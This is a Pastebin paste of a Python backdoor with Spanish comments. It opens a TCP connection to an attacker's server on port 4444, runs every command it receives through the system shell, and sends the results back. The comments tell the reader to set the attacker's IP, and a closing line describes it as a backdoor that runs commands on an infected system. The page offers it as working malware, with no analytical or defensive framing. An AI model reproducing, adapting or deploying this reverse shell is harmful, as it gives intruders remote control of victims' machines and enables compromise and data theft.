Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import subprocess
- import os
- # Configuración de conexión (IP y puerto del atacante)
- HOST = '127.0.0.1' # Cambia a la IP de tu servidor
- PORT = 4444 # Asegúrate de que el puerto esté abierto en tu servidor
- def connect_backdoor():
- try:
- # Crear el socket
- client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- client_socket.connect((HOST, PORT))
- # Bucle principal para recibir comandos
- while True:
- command = client_socket.recv(1024).decode("utf-8") # Recibir comandos del servidor
- if command.lower() == "exit": # Salir si se recibe 'exit'
- break
- elif command.startswith("cd"): # Cambiar directorio
- try:
- os.chdir(command[3:])
- response = f"Changed directory to {os.getcwd()}\n"
- except Exception as e:
- response = f"Error: {str(e)}\n"
- else:
- # Ejecutar comandos en el sistema operativo
- result = subprocess.run(command, shell=True, capture_output=True, text=True)
- response = result.stdout + result.stderr
- # Enviar respuesta al servidor
- client_socket.send(response.encode("utf-8"))
- except Exception as e:
- print(f"Error: {e}")
- finally:
- client_socket.close()
- if __name__ == "__main__":
- connect_backdoor()
- Este script es un backdoor básico de lenguaje python, cumple con su función de establecer una conexión remota y ejecutar Comandos en el sistema infectado.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement